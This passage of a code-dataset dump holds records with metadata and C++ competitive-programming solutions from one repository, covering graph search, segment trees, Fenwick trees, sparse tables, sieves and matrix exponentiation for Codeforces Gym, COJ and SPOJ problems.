){\n sol += getdir( org[xx], org[ neig[xx][k] ] );\n xx = neig[xx][k];\n break;\n }\n }\n }\n sol += getdir( org[xx], org[st] );\n sol += sol;\n cout << sol.substr( p, n ) << '\\n';;\n }\n}\n" }, { "alpha_fraction": 0.36259540915489197, "alphanum_fraction": 0.3918575048446655, "avg_line_length": 20.243244171142578, "blob_id": "2f87db0cb046f6b514172ea9ad86027a9a565760", "content_id": "7a4ac2dbc66a7071bd17487015388c88d1034775", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2358, "license_type": "no_license", "max_line_length": 88, "num_lines": 111, "path": "/Codeforces-Gym/100719 - 2014-2015 CTU Open Contest/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CTU Open Contest\n// 100719F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint h, w;\nstring s[105];\nint l;\nstring c;\n\nconst int dx[] = {1, 0, -1, 0};\nconst int dy[] = {0, 1, 0, -1};\n\nbool mark[105][105][5][11];\n\nstruct state {\n\tint x, y, d, s;\n};\n\nbool ok[105][105][5][11];\n\nbool dfs(int x, int y, int d, int st) {\n //cout << \"dfs: \" << x << \" \" << y << \" \" << d << \" \" << st << \" \" << c[st] << \"\\n\";\n\tif (s[x][y] == 'E') return ok[x][y][d][st] = true;\n\tif (mark[x][y][d][st]) return ok[x][y][d][st];\n\tmark[x][y][d][st] = true;\n\tif (c[st] == 'S') {\n\t\tint nx = x + dx[d];\n\t\tint ny = y + dy[d];\n\t\tint nd = d;\n\t\tint nst = (st + 1) % l;\n\t\tif (nx >= 0 && nx < h && ny >= 0 && ny < w && s[nx][ny] != 'X') {\n\t\t\tif (!mark[nx][ny][nd][nst]) {\n\t\t\t\treturn ok[x][y][d][st] = dfs(nx, ny, nd, nst);\n\t\t\t} else {\n return ok[x][y][d][st] = ok[nx][ny][nd][nst];\n\t\t\t}\n\t\t} else {\n\t\t\tif (!mark[x][y][d][nst]) {\n return ok[x][y][d][st] = dfs(x, y, d, nst);\n\t\t\t} else {\n return ok[x][y][d][st] = ok[x][y][d][nst];\n\t\t\t}\n\t\t}\n\t} else {\n\t\tif (c[st] == 'R') {\n\t\t\tint nd = (d - 1 + 4) % 4;\n\t\t\tint nst = (st + 1) % l;\n\t\t\tif (!mark[x][y][nd][nst]) {\n\t\t\t\treturn ok[x][y][d][st] = dfs(x, y, nd, nst);\n\t\t\t} else {\n return ok[x][y][d][st] = ok[x][y][nd][nst];\n }\n\t\t} else {\n\t\t\tint nd = (d + 1) % 4;\n\t\t\tint nst = (st + 1) % l;\n\t\t\tif (!mark[x][y][nd][nst]) {\n\t\t\t\treturn ok[x][y][d][st] = dfs(x, y, nd, nst);\n\t\t\t} else {\n return ok[x][y][d][st] = ok[x][y][nd][nst];\n\t\t\t}\n\t\t}\n\t}\n\treturn ok[x][y][d][st] = false;\n}\n\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\twhile (cin >> h >> w) {\n\t\tfor (int i = 0; i < h; i++) {\n\t\t\tcin >> s[i];\n\t\t}\n\t\tcin >> l;\n\t\tcin >> c;\n\t\tfor (int i = 0; i < h; i++) {\n\t\t\tfor (int j = 0; j < w; j++) {\n\t\t\t\tfor (int k = 0; k < l; k++) {\n\t\t\t\t\tfor (int x = 0; x < 4; x++) {\n\t\t\t\t\t\tmark[i][j][x][k] = ok[i][j][x][k] = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor (int i = 0; i < h; i++) {\n\t\t\tfor (int j = 0; j < w; j++) {\n\t\t\t\tif (s[i][j] != 'X') dfs(i, j, 2, 0);\n\t\t\t}\n\t\t}\n\t\tbool all = true;\n\t\tint count = 0;\n\t\tfor (int i = 0; i < h; i++) {\n\t\t\tfor (int j = 0; j < w; j++) {\n\t\t\t\tif (s[i][j] == 'X') continue;\n\t\t\t\tif (!ok[i][j][2][0]) {\n\t\t\t\t\tall = false;\n\t\t\t\t} else {\n\t\t\t\t\tcount++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (all) {\n\t\t\tcout << \"OK\\n\";\n\t\t} else {\n\t\t\tcout << count << \"\\n\";\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.3589743673801422, "alphanum_fraction": 0.39627039432525635, "avg_line_length": 14.600000381469727, "blob_id": "b708ef48d2780bfc6a8416d2cc42e2ca893bfbb9", "content_id": "9a63aee41fd7d1ba27688136a66b9600626e44c8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 858, "license_type": "no_license", "max_line_length": 40, "num_lines": 55, "path": "/Caribbean-Training-Camp-2018/Contest_3/Solutions/J3.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int M = 1000 * 1000 * 1000 + 7;\n\ninline void add(int & a, int b) {\n a += b;\n if (a >= M) {\n a -= M;\n }\n}\n\ninline int mul(int a, int b) {\n return (long long)a * b % M;\n}\n\ninline int power(int x, int n) {\n int y = 1;\n while (n) {\n if (n & 1) {\n y = mul(y, x);\n }\n x = mul(x, x);\n n >>= 1;\n }\n return y;\n}\n\nconst int N = 100 * 1000 + 10;\n\nint n;\nint p[N];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n // freopen(\"dat.txt\", \"r\", stdin);\n\n cin >> n;\n for (int i = 0; i < n; i++) {\n int x, y;\n cin >> x >> y;\n p[i] = mul(x, power(y, M - 2));;\n }\n\n int e = 0;\n for (int i = 0; i < n; i++) {\n add(e, 1);\n e = mul(e, power(p[i], M - 2));\n }\n\n cout << e << \"\\n\";\n}\n" }, { "alpha_fraction": 0.46268656849861145, "alphanum_fraction": 0.48955222964286804, "avg_line_length": 15.631579399108887, "blob_id": "05d682d2fc823b6f326bda55f0b6c17316a4dc59", "content_id": "f6cf7b007b8b09d43785df5f8b3327845b043ac1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 335, "license_type": "no_license", "max_line_length": 72, "num_lines": 19, "path": "/COJ/eliogovea-cojAC/eliogovea-p2622-Accepted-s525283.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nint c;\r\ndouble ang,l;\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&c);\r\n for(int i=0; i<c; i++)\r\n {\r\n scanf(\"%lf%lf\",&l,&ang);\r\n ang*=M_PI/180.0;\r\n printf(\"%.3lf\\n\",l*l*sin(ang)-M_PI*(l*l*sin(ang)*sin(ang))/4.0);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.2996941804885864, "alphanum_fraction": 0.3295106887817383, "avg_line_length": 14.571428298950195, "blob_id": "15e9cd7d9595f2a4014bb1cd5df5c6a130d7c29d", "content_id": "435970b87cf50de3fddf2735534b377d236b8f6b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1308, "license_type": "no_license", "max_line_length": 72, "num_lines": 84, "path": "/COJ/eliogovea-cojAC/eliogovea-p4078-Accepted-s1277369.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 100 * 1000 + 10;\nconst int INF = 1e9;\n\nint n;\nint a[N];\nint lg[N];\nint st[20][N];\n\n\nvoid build() {\n for (int i = 0; i < n; i++) {\n st[0][i] = a[i];\n }\n lg[1] = 0;\n for (int i = 2; i <= n; i++) {\n lg[i] = lg[i >> 1] + 1;\n }\n for (int j = 1; (1 << j) <= n; j++) {\n for (int i = 0; i + (1 << j) <= n; i++) {\n st[j][i] = max(st[j - 1][i], st[j - 1][i + (1 << (j - 1))]);\n }\n }\n}\n\nint query(int l, int r) {\n int x = lg[r - l + 1];\n return max(st[x][l], st[x][r - (1 << x) + 1]);\n}\n\n\ninline int firstPos(int v, int s) {\n int l = s;\n int r = n - 1;\n\n int p = n;\n\n while (l <= r) {\n int m = (l + r) >> 1;\n\n if (query(s, m) >= v) {\n p = m;\n r = m - 1;\n } else {\n l = m + 1;\n }\n }\n\n return p;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n cin >> n;\n for (int i = 0; i < n; i++) {\n cin >> a[i];\n }\n\n build();\n\n int q, v, a, b;\n\n cin >> q;\n\n while (q--) {\n cin >> v >> a >> b;\n\n a--;\n b--;\n\n int p = firstPos(v, a);\n\n if (p > b) {\n cout << \"-1\\n\";\n } else {\n cout << p + 1 << \"\\n\";\n }\n }\n}\n" }, { "alpha_fraction": 0.38535910844802856, "alphanum_fraction": 0.4267955720424652, "avg_line_length": 15.837209701538086, "blob_id": "5eac4ca5f47e54849cc01533e54a6770a6bd90be", "content_id": "f75a3514f8ec2bb124ee39264cb473eb220abca1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 724, "license_type": "no_license", "max_line_length": 98, "num_lines": 43, "path": "/Codeforces-Gym/101138 - 2016-2017 CT S03E07: Codeforces Trainings Season 3 Episode 7 - HackerEarth Problems Compilation/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E07: Codeforces Trainings Season 3 Episode 7 - HackerEarth Problems Compilation\n// 101138B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nstring s;\n\nbool ok( int i, int j ){\n if( j == i ){\n return true;\n }\n\n if( i+1 == j ){\n return ( s[i] == 'P' || s[j] == 'P' );\n }\n\n if( (j - i + 1) & 1 ){\n return false;\n }\n\n return ok( i , (i+j)/2 ) && ok( (i+j)/2 + 1 , j );\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen( \"dat.txt\", \"r\", stdin );\n\n int tc; cin >> tc;\n\n while( tc-- ){\n cin >> s;\n if( ok( 0 , s.size()-1 ) ){\n cout << \"YES\\n\";\n }\n else{\n cout << \"NO\\n\";\n }\n }\n}\n" }, { "alpha_fraction": 0.33156880736351013, "alphanum_fraction": 0.3633301258087158, "avg_line_length": 15.610169410705566, "blob_id": "3f5048be1bde82f6bc79cda7d0c9481f3b88ae79", "content_id": "adddefdd453f24cd6f082d1965d81245ba475872", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2078, "license_type": "no_license", "max_line_length": 54, "num_lines": 118, "path": "/COJ/eliogovea-cojAC/eliogovea-p3052-Accepted-s827131.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MXSZ = 100;\r\n\r\nint SZ;\r\n\r\ntypedef long long ll;\r\n\r\nint k;\r\nll n;\r\n\r\nconst ll mod = 1000000007;\r\n\r\nstruct matrix {\r\n\tll m[MXSZ][MXSZ];\r\n\tll * operator [] (int x) {\r\n\t\treturn m[x];\r\n\t}\r\n\tconst ll * operator [] (const int x) const {\r\n\t\treturn m[x];\r\n\t}\r\n\tvoid O() {\r\n\t\tfor (int i = 0; i < SZ; i++) {\r\n\t\t\tfor (int j = 0; j < SZ; j++) {\r\n\t\t\t\tm[i][j] = 0LL;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tvoid I() {\r\n\t\tfor (int i = 0; i < SZ; i++) {\r\n\t\t\tfor (int j = 0; j < SZ; j++) {\r\n\t\t\t\tm[i][j] = (i == j) ? 1LL : 0LL;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n};\r\n\r\nmatrix operator * (const matrix &a, const matrix &b) {\r\n\tmatrix res;\r\n\tres.O();\r\n\tfor (int i = 0; i < SZ; i++) {\r\n\t\tfor (int j = 0; j < SZ; j++) {\r\n\t\t\tfor (int k = 0; k < SZ; k++) {\r\n\t\t\t\tres[i][j] += (a[i][k] * b[k][j]) % mod;\r\n\t\t\t\tres[i][j] %= mod;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nmatrix power(matrix x, ll n) {\r\n\tmatrix res;\r\n\tres.I();\r\n\twhile (n) {\r\n\t\tif (n & 1LL) {\r\n\t\t\tres = res * x;\r\n\t\t}\r\n\t\tx = x * x;\r\n\t\tn >>= 1LL;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nmatrix M;\r\n\r\nll C[MXSZ][MXSZ];\r\nll aux[MXSZ][MXSZ];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> k;\r\n\r\n\tfor (int i = 0; i <= k; i++) {\r\n\t\tC[i][0] = C[i][i] = 1;\r\n\t\tfor (int j = 1; j < i; j++) {\r\n\t\t\tC[i][j] = (C[i - 1][j - 1] + C[i - 1][j]) % mod;\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i <= k; i++) {\r\n for (int j = i; j <= k; j++) {\r\n aux[i][j] = C[k - i][j - i];\r\n }\r\n\t}\r\n\r\n\tSZ = 1 + k + 1 + k + 1;\r\n\tM.O();\r\n\tM[0][0] = 1;\r\n\r\n\tfor (int i = 0; i <= k; i++) {\r\n\t\tM[0][1 + i] = aux[0][i];\r\n\t\tM[0][1 + k + 1 + i] = aux[0][i];\r\n\t}\r\n\r\n\tfor (int i = 1; i <= k + 1; i++) {\r\n for (int j = 1; j <= k + 1; j++) {\r\n M[i][j] = aux[i - 1][j - 1];\r\n }\r\n\t}\r\n\r\n\tfor (int i = 1; i <= k + 1; i++) {\r\n for (int j = k + 2; j < SZ; j++) {\r\n M[i][j] = aux[i - 1][j - (k + 2)];\r\n }\r\n\t}\r\n\r\n\tfor (int i = k + 2; i < SZ; i++) {\r\n for (int j = 1; j <= k + 1; j++) {\r\n M[i][j] = aux[i - (k + 2)][j - 1];\r\n }\r\n\t}\r\n\r\n\tM = power(M, n);\r\n\tcout << M[0][1 + k] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.37012988328933716, "alphanum_fraction": 0.40909090638160706, "avg_line_length": 17.25, "blob_id": "4b9ea7eef39861b09408b5436d5dc494a02ccd2b", "content_id": "ce166402509b126c3d560fa2e112337544ff87d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 154, "license_type": "no_license", "max_line_length": 59, "num_lines": 8, "path": "/COJ/eliogovea-cojAC/eliogovea-p2830-Accepted-s607803.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\ndouble n, m;\r\n\r\nint main() {\r\n\twhile (scanf(\"%lf%lf\", &n, &m) == 2)\r\n\t\tprintf(\"%.2lf\\n\", n * (m + 1) * (m + 1) / (2 * (m + 1)));\r\n}\r\n" }, { "alpha_fraction": 0.306886225938797, "alphanum_fraction": 0.40269461274147034, "avg_line_length": 15.128205299377441, "blob_id": "13dd8e89ca6bc09da81b3daebb7b3479a24ddbfc", "content_id": "8a579bc1d13677b39e1b38bf358981c5b9967323", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 668, "license_type": "no_license", "max_line_length": 54, "num_lines": 39, "path": "/COJ/eliogovea-cojAC/eliogovea-p2175-Accepted-s482883.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nbool sieve[1000001];\r\nint pmayor[100001],pmenor[100001],a,b,n,p,x;\r\n\r\nint main()\r\n{\r\n for(int i=2; i<=1000000; i++)sieve[i]=1;\r\n\r\n for(int i=2; i*i<=100050; i++)\r\n {\r\n if(sieve[i])\r\n {\r\n for(int j=i*i; j<=100050; j+=i)sieve[j]=0;\r\n }\r\n }\r\n\r\n p=2;\r\n for(int i=2; i<=100000; i++)\r\n {\r\n if(sieve[i])p=i;\r\n pmenor[i]=p;\r\n }\r\n\r\n p=100003;\r\n for(int i=100000; i>=2; i--)\r\n {\r\n if(sieve[i])p=i;\r\n pmayor[i]=p;\r\n }\r\n\r\n scanf(\"%d\",&n);\r\n while(n--)\r\n {\r\n scanf(\"%d\",&x);\r\n printf(\"%d %d\\n\",pmenor[x],pmayor[x]);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.4273127615451813, "alphanum_fraction": 0.4548458158969879, "avg_line_length": 17.7391300201416, "blob_id": "1352b12fa1ded2b6dd3d37e3f4442cb6cd62701d", "content_id": "8cb3569b17920ad4902b0a2d8cfe86f453fabba1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 908, "license_type": "no_license", "max_line_length": 39, "num_lines": 46, "path": "/COJ/eliogovea-cojAC/eliogovea-p3580-Accepted-s967980.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100005;\r\nconst double INF = 1e8;\r\nint n;\r\ndouble t[N], v[N];\r\n\r\ninline double calc(double tt) {\r\n\tdouble maxD = v[0] * (tt - t[0]);\r\n\tdouble minD = maxD;\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tminD = min(minD, v[i] * (tt - t[i]));\r\n\t\tmaxD = max(maxD, v[i] * (tt - t[i]));\r\n\t}\r\n\treturn maxD - minD;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcout.precision(10);\r\n\twhile (cin >> n && n) {\r\n\t\tdouble lo = 0.0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> t[i] >> v[i];\r\n\t\t\tlo = max(lo, t[i]);\r\n\t\t}\r\n\t\tdouble hi = INF;\r\n\t\tdouble d, a, b;\r\n\t\tfor (int it = 0; it < 250; it++) {\r\n\t\t\td = (hi - lo) / 3.0;\r\n\t\t\ta = lo + d;\r\n\t\t\tb = hi - d;\r\n\t\t\tif (calc(a) > calc(b)) {\r\n\t\t\t\tlo = a;\r\n\t\t\t} else {\r\n\t\t\t\thi = b;\r\n\t\t\t}\r\n\t\t}\r\n\t\tdouble ans = calc((lo + hi) / 2.0);\r\n\t\tcout << fixed << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.30707070231437683, "alphanum_fraction": 0.32390573620796204, "avg_line_length": 21.203125, "blob_id": "4622b1afb1683d58dbe5e380b868f2a94ad1c9de", "content_id": "b68c8d938428e4eb8e6c2fe29f2714c82bbaa701", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1485, "license_type": "no_license", "max_line_length": 62, "num_lines": 64, "path": "/COJ/eliogovea-cojAC/eliogovea-p1814-Accepted-s920751.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MAX = 1000000;\r\n\r\nint n, q, b, e;\r\npair <int, int> arr[MAX + 5];\r\nint nxt[MAX + 5];\r\nint dp[MAX + 5];\r\nint val[MAX + 5];\r\n\r\nbool cmp(const pair <int, int> &a, const pair <int, int> &b) {\r\n return a.second < b.second;\r\n}\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n\r\n // freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n while (cin >> n >> q) {\r\n if (n == 0 && q == 0) {\r\n break;\r\n }\r\n for (int i = 0; i < n; i++) {\r\n cin >> arr[i].first;\r\n arr[i].second = i;\r\n }\r\n for (int i = 0; i < n; i++) {\r\n nxt[i] = n;\r\n }\r\n sort(arr, arr + n);\r\n for (int i = 0; i < n; i++) {\r\n if (arr[i].first == arr[i + 1].first) {\r\n nxt[arr[i].second] = arr[i + 1].second;\r\n }\r\n }\r\n sort(arr, arr + n, cmp);\r\n dp[n - 1] = n;\r\n val[n - 1] = n;\r\n for (int i = n - 2; i >= 0; i--) {\r\n dp[i] = dp[i + 1];\r\n val[i] = val[i + 1];\r\n if (nxt[i] < dp[i]) {\r\n dp[i] = nxt[i];\r\n val[i] = arr[i].first;\r\n }\r\n }\r\n while (q--) {\r\n cin >> b >> e;\r\n b--;\r\n e--;\r\n if (dp[b] > e) {\r\n cout << \"OK\\n\";\r\n } else {\r\n cout << val[b] << \"\\n\";\r\n }\r\n }\r\n cout << \"\\n\";\r\n }\r\n\r\n}\r\n" }, { "alpha_fraction": 0.3713188171386719, "alphanum_fraction": 0.38668373227119446, "avg_line_length": 13.579999923706055, "blob_id": "837f2634fad6c9843bbb92f399008e5692c7f2de", "content_id": "ede42a9fb9d108387da33e4049104e3443a14c96", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 781, "license_type": "no_license", "max_line_length": 40, "num_lines": 50, "path": "/COJ/eliogovea-cojAC/eliogovea-p2713-Accepted-s579438.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "\r\n#include <cstdio>\r\n#include <algorithm>\r\n#include <queue>\r\n#include <vector>\r\nusing namespace std;\r\n\r\nconst int MAXN = 55;\r\n\r\nint c, n, l, q, t[MAXN], a, b;\r\nvector<int> G[MAXN];\r\nqueue<int> Q;\r\n\r\nint main()\r\n{\r\n\tfor (scanf(\"%d\", &c); c--;)\r\n\t{\r\n\t\tscanf(\"%d%d%d\", &n, &l, &q);\r\n\t\tfor (int i = 1; i <= n; i++)\r\n\t\t{\r\n\t\t\tG[i].clear();\r\n\t\t\tt[i] = 0;\r\n\t\t}\r\n\r\n\t\tfor (int i = 0; i < l; i++)\r\n\t\t{\r\n\t\t\tscanf(\"%d%d\", &a, &b);\r\n\t\t\tG[a].push_back(b);\r\n\t\t}\r\n\r\n\t\tt[1] = 1;\r\n\t\tQ.push(1);\r\n\t\twhile (!Q.empty())\r\n\t\t{\r\n\t\t\ta = Q.front();\r\n\t\t\tQ.pop();\r\n\t\t\tfor (int i = 0; i < G[a].size(); i++)\r\n\t\t\t\tif (!t[G[a][i]])\r\n\t\t\t\t{\r\n\t\t\t\t\tt[G[a][i]] = t[a] + 1;\r\n\t\t\t\t\tQ.push(G[a][i]);\r\n\t\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 0; i < q; i++)\r\n\t\t{\r\n\t\t\tscanf(\"%d\", &a);\r\n\t\t\tprintf(\"%d\\n\", (t[a]) ? t[a] : -1);\r\n\t\t}\r\n\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.39256197214126587, "alphanum_fraction": 0.424931138753891, "avg_line_length": 16.261905670166016, "blob_id": "dba0bc7f0367ba43e9bdd7417c1a89e349d03e68", "content_id": "e80f7a77aa3434afccdd201cbc0ae88fab16f6e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1452, "license_type": "no_license", "max_line_length": 56, "num_lines": 84, "path": "/SPOJ/HORRIBLE.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \ntypedef long long ll;\n \nconst int N = 100005;\n \nll t[4 * N], lazy[4 * N];\n \nvoid build(int x, int l, int r) {\n\tlazy[x] = 0;\n\tt[x] = 0;\n\tif (l == r) {\n return;\n\t}\n int m = (l + r) >> 1;\n build(2 * x, l, m);\n build(2 * x + 1, m + 1, r);\n}\n \nvoid propagate(int x, int l, int r) {\n\tif (lazy[x]) {\n\t\tt[x] += 1LL * (r - l + 1LL) * lazy[x];\n\t\tif (l != r) {\n\t\t\tlazy[2 * x] += lazy[x];\n\t\t\tlazy[2 * x + 1] += lazy[x];\n\t\t}\n\t\tlazy[x] = 0;\n\t}\n}\n \nvoid update(int x, int l, int r, int ul, int ur, ll v) {\n\tpropagate(x, l, r);\n\tif (l > ur || r < ul) {\n\t\treturn;\n\t}\n\tif (l >= ul && r <= ur) {\n\t\tlazy[x] += v;\n\t\tpropagate(x, l, r);\n\t} else {\n\t\tint m = (l + r) >> 1;\n\t\tupdate(2 * x, l, m, ul, ur, v);\n\t\tupdate(2 * x + 1, m + 1, r, ul, ur, v);\n\t\tt[x] = t[2 * x] + t[2 * x + 1];\n\t}\n}\n \nll query(int x, int l, int r, int ql, int qr) {\n\tpropagate(x, l, r);\n\tif (l > qr || r < ql) {\n\t\treturn 0;\n\t}\n\tif (l >= ql && r <= qr) {\n\t\treturn t[x];\n\t}\n\tint m = (l + r) >> 1;\n\tll q1 = query(2 * x, l, m, ql, qr);\n\tll q2 = query(2 * x + 1, m + 1, r, ql, qr);\n\treturn q1 + q2;\n}\n \nint tc, n, q;\nint a, b, c, v;\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> tc;\n\twhile (tc--) {\n\t\tcin >> n >> q;\n\t\tbuild(1, 1, n);\n\t\twhile (q--) {\n\t\t\tcin >> a;\n\t\t\tif (a == 0) {\n\t\t\t\tcin >> b >> c >> v;\n\t\t\t\tupdate(1, 1, n, b, c, v);\n\t\t\t} else {\n\t\t\t\tcin >> b >> c;\n\t\t\t\tcout << query(1, 1, n, b, c) << \"\\n\";\n\t\t\t}\n\t\t}\n\t}\n}\n \n" }, { "alpha_fraction": 0.41815680265426636, "alphanum_fraction": 0.4429160952568054, "avg_line_length": 12.836734771728516, "blob_id": "f15c31a153c60e99ffaac5defbe9bef2ccb5e87f", "content_id": "adeb5b756fc3e80c8c89dad00f51bebc826a6479", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 727, "license_type": "no_license", "max_line_length": 30, "num_lines": 49, "path": "/COJ/eliogovea-cojAC/eliogovea-p3607-Accepted-s966065.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100005;\r\n\r\nint n, l, r;\r\nint bit[N];\r\n\r\nvoid update(int p, int v) {\r\n\twhile (p < N) {\r\n\t\tbit[p] += v;\r\n\t\tp += p & -p;\r\n\t}\r\n}\r\n\r\nint query(int p) {\r\n\tint res = 0;\r\n\twhile (p > 0) {\r\n\t\tres += bit[p];\r\n\t\tp -= p & -p;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tlong long ans = 0;\r\n\twhile (n--) {\r\n\t\tcin >> l >> r;\r\n\t\tint valL = query(l);\r\n\t\tif (valL != 0) {\r\n\t\t\tupdate(l, -valL);\r\n\t\t\tupdate(l + 1, valL);\r\n\t\t}\r\n\t\tint valR = query(r);\r\n\t\tif (valR != 0) {\r\n\t\t\tupdate(r, -valR);\r\n\t\t\tupdate(r + 1, valR);\r\n\t\t}\r\n\t\tcout << valL + valR << \"\\n\";\r\n\t\tif (l + 1 < r) {\r\n\t\t\tupdate(l + 1, 1);\r\n\t\t\tupdate(r, -1);\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.380952388048172, "alphanum_fraction": 0.3928571343421936, "avg_line_length": 10.923076629638672, "blob_id": "8cfc57640fbfda884736b94ae5f815a713469c56", "content_id": "362c1738db67d689d3ad6f7c36c22321b09c65f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 168, "license_type": "no_license", "max_line_length": 26, "num_lines": 13, "path": "/COJ/eliogovea-cojAC/eliogovea-p2620-Accepted-s531131.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nint r;\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&r);\r\n r*=4;\r\n printf(\"A\");\r\n for(int i=0; i<r; i++)\r\n printf(\"a\");\r\n printf(\"h\\n\");\r\n}\r\n" }, { "alpha_fraction": 0.39042821526527405, "alphanum_fraction": 0.4030226767063141, "avg_line_length": 13.880000114440918, "blob_id": "a843701f6e6373e7878aa0849bb41eec21ed9222", "content_id": "187366a99f18b7a3640f17b6b9af2da3e0c5cf7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 397, "license_type": "no_license", "max_line_length": 67, "num_lines": 25, "path": "/COJ/eliogovea-cojAC/eliogovea-p3466-Accepted-s890176.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nlong long n, p;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint cas = 1;\r\n\twhile (cin >> n >> p) {\r\n\t\tif (n == 0 && p == 0) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tbool ok = true;\r\n\t\twhile (n) {\r\n\t\t\tif (n % p > 1) {\r\n\t\t\t\tok = false;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tn /= p;\r\n\t\t}\r\n\t\tcout << \"Case #\" << cas++ << \": \" << (ok ? \"yes\" : \"no\") << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.39750000834465027, "alphanum_fraction": 0.42500001192092896, "avg_line_length": 17.18181800842285, "blob_id": "0e9f6b8f32c43d94b780bdbc2d9b5a2782250d08", "content_id": "0a3959222916ca78fb8b42d57fcf3ec4086bb3e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 800, "license_type": "no_license", "max_line_length": 77, "num_lines": 44, "path": "/Codeforces-Gym/101673 - 2017-2018 ACM-ICPC East Central North America Regional Contest (ECNA 2017)/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 